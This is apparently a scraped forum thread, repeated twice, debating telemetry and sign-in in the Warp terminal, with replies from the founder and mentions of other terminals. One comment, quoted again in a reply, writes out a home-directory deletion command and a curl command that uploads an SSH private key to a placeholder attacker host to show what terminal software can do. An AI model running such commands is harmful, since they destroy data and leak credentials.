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Also: security? I expect my terminal to be a much more secure environment than my web browser. When an application starts communicating with the internet, I h

by jnovek 5y ago

Also: security? I expect my terminal to be a much more secure environment than my web browser. When an application starts communicating with the internet, I have no choice but to treat it with the same level of scrutiny as my browser. Even making telemetry opt-in means that it has the capability to send information to the internet that I don’t know about, which means that I have to treat it like an application that can do that. Honestly, this freaks me out. It’s an angle I’ve never considered before. Now I need to make sure my current terminal emulator (kitty) isn’t sending information to the internet without my permission.

warent 5y ago
Agree, this is a pretty bad deal breaker for me. Big business people doing short-sighted big business things, salivating at cramming a product full of telemetry. All without transparency around it? In a terminal of all things?? Indescribably off-putting and catastrophically damages my trust in the product and the CEO. EDIT: To be fair there is some transparency in the original post. I was looking through the landing page for it (where it is not mentioned). Also, imho it should still be opt-in even for beta. Not everyone is going to read the wall of text to parse out the buried note on telemetry
- ushakov 5y ago
  or they actually listen to our feedback, remove forced telemetry, remove sign-in in the next release, then i'd be more happy to give their product another chance although no guarantee they'll not turn evil at some point in the future...
  - encryptluks2 5y ago
    If they start out evil, then don't expect them to change.
    - nicce 5y ago
      Usually the practice in these scenarios is to try out all possible ways to make out money and then go a little backwards once the public outcry is big enough. At some point you find the most profitable balance situation, before you have expelled all customers.
      - encryptluks2 5y ago
        There is a plethora of free GPU-accelerated terminals. Alacritty, kitty, foot, wezterm, etc. None of these as far as I know send telemetry data. I see no reason to think that a new terminal is going to make money somehow by finding a balance.
        nicce 5y ago
        My comparison was about business models of these "evil" cases in general, not about terminals particularly. On general, free apps tends to need find a balance how much users can tolerate their "exploitation" and how much they get from the app, if the app maker wants to make some money. I don't personally see any reason to swap terminal with telemetry. One of my worst fears that some day I am forced to.
    - Groxx 5y ago
      Wanting to collect usage information and errors isn't evil-by-default. It's incomparably useful for troubleshooting and improving. Absolutely nothing works better, it's the best by a ridiculously large margin. But yeah, terminals are very sensitive environments, opt-in should be a default even at launch.
      - cestith 5y ago
        I appreciate the balanced, reasonable discussion. I agree both that telemetry is useful and that there's not necessarily a place for it in the tool I use to manage my workstation and hundreds of servers. Perhaps I'd opt in to a middle ground, that is collect telemetry locally into a support file I can review, evaluate, and potentially redact before submission.
      - triska 5y ago
        > Absolutely nothing works better, it's the best by a ridiculously large margin. Is this really the case? It seems that to find mistakes in software for various interaction patterns, truly exhaustive automated tests would likely work far better by various measures (coverage, reliability, reproducibility, reusability etc.) and at the same time do not have the extreme downside of privacy invasion. For example, see a section from the Age of Empires Post Mortem https://www.gamedeveloper.com/pc/the-game-developer-archives-postmortem-ensemble-s-age-of-empires- https://www.gamedeveloper.com/pc/the-game-developer-archives... : "8. We didn’t take enough advantage of automated testing. In the final weeks of development, we set up the game to automatically play up to eight computers against each other. Additionally, a second computer containing the development platform and debugger could monitor each computer that took part. These games, while randomly generated, were logged so that if anything happened, we could reproduce the exact game over and over until we isolated the problem. The games themselves were allowed to run at an accelerated speed and were left running overnight. This was a great success and helped us in isolating very hard to reproduce problems. Our failure was in not doing this earlier in development; it could have saved us a great deal of time and effort. All of our future production plans now include automated testing from Day One."
        throw10920 5y ago
  - heavyset_go 5y ago
    Profit motive means that even if they do that now, they're incentivized to collect data in the future. From the standpoint of investors, leaving that revenue stream on the table would be dumb, considering every other company in tech spaces draws revenue from collecting their customers' data. If a company is committed to never spying, then they'd have no problem making such terms contractually binding on their end. Companies that say they're against spying, but leave the option to collect their users' data open for the future, aren't really committed to not spying.
  - bongobingo1 5y ago
    > remove forced telemetry, remove sign-in in the next release Then why would anybody bother to invest in their next series?
    - achenet 5y ago
      because they have a growing number of paying customers.
- ddoolin 5y ago
  This is why I deleted Fig (https://fig.io/ https://fig.io/) right after installing it. It must've sent some uninstall information, too, because the creator/CEO emailed asking why I uninstalled it afterwards...
  - mattl 5y ago
    Yikes. No thanks.
  - grnmamba 5y ago
    "Send Download link" is a huge red flag. The only reason to have such a button is to send spam.
  - Arcuru 5y ago
    Oh yea, Fig is also the one that is Mac only but never mentions that fact anywhere on their website. Everything is written to just presume that the reader is on a Mac. Their getting started instructions [0] are all just terminal commands too, and even that doesn't mention Mac once. [0] - https://fig.io/docs/getting-started https://fig.io/docs/getting-started
    - girvo 5y ago
      > Oh yea, Fig is also the one that is Mac only but never mentions that fact anywhere on their website. Everything is written to just presume that the reader is on a Mac. Not that it is not annoying, it is, but that's pretty common with Mac-only software in my experience.
      - _tom_ 5y ago
        It's even more common with windows-only software.
        derefr 5y ago
        Every single tool in the console homebrew space, I swear. And it's not like the code isn't portable, it's usually just some command-line / batch thing; but they just don't bother to compile it for anything other than Windows; and then they don't release it as OSS for you to do so, either. The number of things I've had to run under WINE...
- alimov 5y ago
  They have a complete telemetry section on their website where it also states that no input or output data is collected.
  - benmmurphy 5y ago
    the problem with telemetry data is that sometimes you can accidentally collect sensitive data without realising it. i know one library on iOS was collecting the coordinates of all touch events. however, that meant it was collecting the coordinates of all touches on the keyboard which made it possible to reconstruct user input into password fields.
    - alimov 5y ago
      You’re right about there being a problem with it. Which library was/is doing this? Would like to avoid it.
  - coldtea 5y ago
    Which is worth nothing if it can't be examined and verified (not to mention it can change with any release).
- zachlloyd 5y ago
  Hi - as the poster and founder I again completely get the concern. We should make it even more transparent what we collect. You can see it here: https://docs.warp.dev/getting-started/privacy#exhaustive-telemetry-table https://docs.warp.dev/getting-started/privacy#exhaustive-tel... Re: big business, we're still pretty small, but it's true that we are trying to build a business around the command-line. I get that's controversial and it's not something that exists and that the terminal is a super-sensitive low level tool. We will never ever build a business around terminal data, and to be super explicit, we are 100% not collecting any command inputs or outputs. The business that we want to build is around making a terminal (or a platform for text based apps) that grows because it makes individuals and teams a lot more productive on the command line. I've there's one thing I've taken away from this ShowHN so far is that there is a lot of well-founded concern about the terminal and user data and that we need to do a better job on this issue.
  - westoncb 5y ago
    Hey Zach, while I think your post is well-intentioned, the contemporary default level of trust around tech companies and data privacy is just very low. As a new entrant to the field, you inherit the default valuation—people have no other info to go off of. Given that, it's probably the case that the only options are to either be fully open source or to make a fully offline mode an option. In any case, I think the concept for your product is excellent—it's been mind-boggling to me that something along these lines wasn't tackled years ago, so I look forward to your guys' future success, hopefully moving the state of terminal interaction into the modern era.
    - ajxs 5y ago
      > ...the contemporary default level of trust around tech companies and data privacy is just very low... It's not just that the level of trust is very low. I shouldn't need to place any trust in the developers of my terminal at all. If I can't know for a fact that it's not acting against my interests, then I'll pass. I already have such a big selection of fully open-source terminals available. Why would I even consider taking any king of risk with this one?
rgrieselhuber 5y ago
This was my first concern as well. I don't want my terminal to be a startup.
gernb 5y ago
> I expect my terminal to be a much more secure environment than my web browser. Wat? Your terminal is 1000x less secure than your browser. Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com https://bad.com` and that just 2 of 1000s. JS on your browser can do none of those. Maybe you meant to say you want apps running from the terminal to not phone home but nothing in the terminal prevents that.
- triyambakam 5y ago
  That's security vs. safety. You're pointing out that a terminal allows the user to do perform actions that could be unsafe. These actions or JS in the browser are a security risk because they can perform actions without the user's awareness or consent.
  - gernb 5y ago
    nonsense. The terminal is a place that you run software. Every piece of software you run in the terminal can do all kinds of nasty things to your system and steal info the browser is also a place to run software. There, that software can not do anything to your system nor can it steal any data
- heavyset_go 5y ago
  > Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com https://bad.com` and that just 2 of 1000s. You'll be warned if you do the first, and plenty of people are phished via browsers.
  - Hitton 5y ago
    >You'll be warned if you do the first. I don't think so. I dare you to run it.
zachlloyd 5y ago
As the author of the post (and founder of the company), I think this is also a very reasonable concern. It's one that we have as well and that we take very seriously. Our stance here is that: 1) We are very explicit about what gets sent (only telemetry and crash reporting) and you can see the full list of telemetry events here (https://docs.warp.dev/getting-started/privacy#exhaustive-telemetry-table https://docs.warp.dev/getting-started/privacy#exhaustive-tel...) 2) For collaborative features like block-sharing (e.g. https://app.warp.dev/block/tbxmeAKsj657aHkPdHpmoY https://app.warp.dev/block/tbxmeAKsj657aHkPdHpmoY) it's completely opt-in However, I do believe pretty deeply that every app has the potential to be much more powerful if it leverages the internet and I think the terminal is not an exception. I stand by that but get that it's a paradigm shift. Please keep the feedback coming though - it's helpful to understand how you think about it.
- estro0182 5y ago
  > However, I do believe pretty deeply that every app has the potential to be much more powerful if it leverages the internet and I think the terminal is not an exception. But that’s exactly it. A lot of people on here, including me, do not agree that _every_ app has that potential. In fact many believe that internet connected apps are unnecessary for many things. There is strong evidence against this if you just look at the number of “secure” systems that have been hacked over the decades. While you may capture a large audience with your internet-first terminal “app”, who honestly don’t care about this stuff while at work, you will get pushback from HN and somewhat+ privacy concerned devs.
  - Sammi 5y ago
    Then maybe Warp is not the right terminal for you? It is ok if other people like Warp for what it is. Here's another rust based terminal you can check out: https://github.com/alacritty/alacritty https://github.com/alacritty/alacritty
- animuchan 5y ago
  As a user, I can see the potential, sure. But it's not realized in any way. Right now this terminal uses Internet only for collecting my data (GitHub account, telemetry, and more). The value proposition is negative. A paradigm shift, sure, but IMO in wrong direction.

by jnovek 5y ago

warent 5y ago

Agree, this is a pretty bad deal breaker for me. Big business people doing short-sighted big business things, salivating at cramming a product full of telemetry. All without transparency around it? In a terminal of all things?? Indescribably off-putting and catastrophically damages my trust in the product and the CEO. EDIT: To be fair there is some transparency in the original post. I was looking through the landing page for it (where it is not mentioned). Also, imho it should still be opt-in even for beta. Not everyone is going to read the wall of text to parse out the buried note on telemetry

ushakov 5y ago
or they actually listen to our feedback, remove forced telemetry, remove sign-in in the next release, then i'd be more happy to give their product another chance although no guarantee they'll not turn evil at some point in the future...
- encryptluks2 5y ago
  If they start out evil, then don't expect them to change.
  - nicce 5y ago
    Usually the practice in these scenarios is to try out all possible ways to make out money and then go a little backwards once the public outcry is big enough. At some point you find the most profitable balance situation, before you have expelled all customers.
    - encryptluks2 5y ago
      There is a plethora of free GPU-accelerated terminals. Alacritty, kitty, foot, wezterm, etc. None of these as far as I know send telemetry data. I see no reason to think that a new terminal is going to make money somehow by finding a balance.
      - nicce 5y ago
        My comparison was about business models of these "evil" cases in general, not about terminals particularly. On general, free apps tends to need find a balance how much users can tolerate their "exploitation" and how much they get from the app, if the app maker wants to make some money. I don't personally see any reason to swap terminal with telemetry. One of my worst fears that some day I am forced to.
  - Groxx 5y ago
    Wanting to collect usage information and errors isn't evil-by-default. It's incomparably useful for troubleshooting and improving. Absolutely nothing works better, it's the best by a ridiculously large margin. But yeah, terminals are very sensitive environments, opt-in should be a default even at launch.
    - cestith 5y ago
      I appreciate the balanced, reasonable discussion. I agree both that telemetry is useful and that there's not necessarily a place for it in the tool I use to manage my workstation and hundreds of servers. Perhaps I'd opt in to a middle ground, that is collect telemetry locally into a support file I can review, evaluate, and potentially redact before submission.
    - triska 5y ago
      > Absolutely nothing works better, it's the best by a ridiculously large margin. Is this really the case? It seems that to find mistakes in software for various interaction patterns, truly exhaustive automated tests would likely work far better by various measures (coverage, reliability, reproducibility, reusability etc.) and at the same time do not have the extreme downside of privacy invasion. For example, see a section from the Age of Empires Post Mortem https://www.gamedeveloper.com/pc/the-game-developer-archives-postmortem-ensemble-s-age-of-empires- https://www.gamedeveloper.com/pc/the-game-developer-archives... : "8. We didn’t take enough advantage of automated testing. In the final weeks of development, we set up the game to automatically play up to eight computers against each other. Additionally, a second computer containing the development platform and debugger could monitor each computer that took part. These games, while randomly generated, were logged so that if anything happened, we could reproduce the exact game over and over until we isolated the problem. The games themselves were allowed to run at an accelerated speed and were left running overnight. This was a great success and helped us in isolating very hard to reproduce problems. Our failure was in not doing this earlier in development; it could have saved us a great deal of time and effort. All of our future production plans now include automated testing from Day One."
      - throw10920 5y ago
- heavyset_go 5y ago
  Profit motive means that even if they do that now, they're incentivized to collect data in the future. From the standpoint of investors, leaving that revenue stream on the table would be dumb, considering every other company in tech spaces draws revenue from collecting their customers' data. If a company is committed to never spying, then they'd have no problem making such terms contractually binding on their end. Companies that say they're against spying, but leave the option to collect their users' data open for the future, aren't really committed to not spying.
- bongobingo1 5y ago
  > remove forced telemetry, remove sign-in in the next release Then why would anybody bother to invest in their next series?
  - achenet 5y ago
    because they have a growing number of paying customers.
ddoolin 5y ago
This is why I deleted Fig (https://fig.io/ https://fig.io/) right after installing it. It must've sent some uninstall information, too, because the creator/CEO emailed asking why I uninstalled it afterwards...
- mattl 5y ago
  Yikes. No thanks.
- grnmamba 5y ago
  "Send Download link" is a huge red flag. The only reason to have such a button is to send spam.
- Arcuru 5y ago
  Oh yea, Fig is also the one that is Mac only but never mentions that fact anywhere on their website. Everything is written to just presume that the reader is on a Mac. Their getting started instructions [0] are all just terminal commands too, and even that doesn't mention Mac once. [0] - https://fig.io/docs/getting-started https://fig.io/docs/getting-started
  - girvo 5y ago
    > Oh yea, Fig is also the one that is Mac only but never mentions that fact anywhere on their website. Everything is written to just presume that the reader is on a Mac. Not that it is not annoying, it is, but that's pretty common with Mac-only software in my experience.
    - _tom_ 5y ago
      It's even more common with windows-only software.
      - derefr 5y ago
        Every single tool in the console homebrew space, I swear. And it's not like the code isn't portable, it's usually just some command-line / batch thing; but they just don't bother to compile it for anything other than Windows; and then they don't release it as OSS for you to do so, either. The number of things I've had to run under WINE...
alimov 5y ago
They have a complete telemetry section on their website where it also states that no input or output data is collected.
- benmmurphy 5y ago
  the problem with telemetry data is that sometimes you can accidentally collect sensitive data without realising it. i know one library on iOS was collecting the coordinates of all touch events. however, that meant it was collecting the coordinates of all touches on the keyboard which made it possible to reconstruct user input into password fields.
  - alimov 5y ago
    You’re right about there being a problem with it. Which library was/is doing this? Would like to avoid it.
- coldtea 5y ago
  Which is worth nothing if it can't be examined and verified (not to mention it can change with any release).
zachlloyd 5y ago
Hi - as the poster and founder I again completely get the concern. We should make it even more transparent what we collect. You can see it here: https://docs.warp.dev/getting-started/privacy#exhaustive-telemetry-table https://docs.warp.dev/getting-started/privacy#exhaustive-tel... Re: big business, we're still pretty small, but it's true that we are trying to build a business around the command-line. I get that's controversial and it's not something that exists and that the terminal is a super-sensitive low level tool. We will never ever build a business around terminal data, and to be super explicit, we are 100% not collecting any command inputs or outputs. The business that we want to build is around making a terminal (or a platform for text based apps) that grows because it makes individuals and teams a lot more productive on the command line. I've there's one thing I've taken away from this ShowHN so far is that there is a lot of well-founded concern about the terminal and user data and that we need to do a better job on this issue.
- westoncb 5y ago
  Hey Zach, while I think your post is well-intentioned, the contemporary default level of trust around tech companies and data privacy is just very low. As a new entrant to the field, you inherit the default valuation—people have no other info to go off of. Given that, it's probably the case that the only options are to either be fully open source or to make a fully offline mode an option. In any case, I think the concept for your product is excellent—it's been mind-boggling to me that something along these lines wasn't tackled years ago, so I look forward to your guys' future success, hopefully moving the state of terminal interaction into the modern era.
  - ajxs 5y ago
    > ...the contemporary default level of trust around tech companies and data privacy is just very low... It's not just that the level of trust is very low. I shouldn't need to place any trust in the developers of my terminal at all. If I can't know for a fact that it's not acting against my interests, then I'll pass. I already have such a big selection of fully open-source terminals available. Why would I even consider taking any king of risk with this one?

rgrieselhuber 5y ago

This was my first concern as well. I don't want my terminal to be a startup.

gernb 5y ago

> I expect my terminal to be a much more secure environment than my web browser. Wat? Your terminal is 1000x less secure than your browser. Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com https://bad.com` and that just 2 of 1000s. JS on your browser can do none of those. Maybe you meant to say you want apps running from the terminal to not phone home but nothing in the terminal prevents that.

triyambakam 5y ago
That's security vs. safety. You're pointing out that a terminal allows the user to do perform actions that could be unsafe. These actions or JS in the browser are a security risk because they can perform actions without the user's awareness or consent.
- gernb 5y ago
  nonsense. The terminal is a place that you run software. Every piece of software you run in the terminal can do all kinds of nasty things to your system and steal info the browser is also a place to run software. There, that software can not do anything to your system nor can it steal any data
heavyset_go 5y ago
> Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com https://bad.com` and that just 2 of 1000s. You'll be warned if you do the first, and plenty of people are phished via browsers.
- Hitton 5y ago
  >You'll be warned if you do the first. I don't think so. I dare you to run it.

zachlloyd 5y ago

As the author of the post (and founder of the company), I think this is also a very reasonable concern. It's one that we have as well and that we take very seriously. Our stance here is that: 1) We are very explicit about what gets sent (only telemetry and crash reporting) and you can see the full list of telemetry events here (https://docs.warp.dev/getting-started/privacy#exhaustive-telemetry-table https://docs.warp.dev/getting-started/privacy#exhaustive-tel...) 2) For collaborative features like block-sharing (e.g. https://app.warp.dev/block/tbxmeAKsj657aHkPdHpmoY https://app.warp.dev/block/tbxmeAKsj657aHkPdHpmoY) it's completely opt-in However, I do believe pretty deeply that every app has the potential to be much more powerful if it leverages the internet and I think the terminal is not an exception. I stand by that but get that it's a paradigm shift. Please keep the feedback coming though - it's helpful to understand how you think about it.

estro0182 5y ago
> However, I do believe pretty deeply that every app has the potential to be much more powerful if it leverages the internet and I think the terminal is not an exception. But that’s exactly it. A lot of people on here, including me, do not agree that _every_ app has that potential. In fact many believe that internet connected apps are unnecessary for many things. There is strong evidence against this if you just look at the number of “secure” systems that have been hacked over the decades. While you may capture a large audience with your internet-first terminal “app”, who honestly don’t care about this stuff while at work, you will get pushback from HN and somewhat+ privacy concerned devs.
- Sammi 5y ago
  Then maybe Warp is not the right terminal for you? It is ok if other people like Warp for what it is. Here's another rust based terminal you can check out: https://github.com/alacritty/alacritty https://github.com/alacritty/alacritty
animuchan 5y ago
As a user, I can see the potential, sure. But it's not realized in any way. Right now this terminal uses Internet only for collecting my data (GitHub account, telemetry, and more). The value proposition is negative. A paradigm shift, sure, but IMO in wrong direction.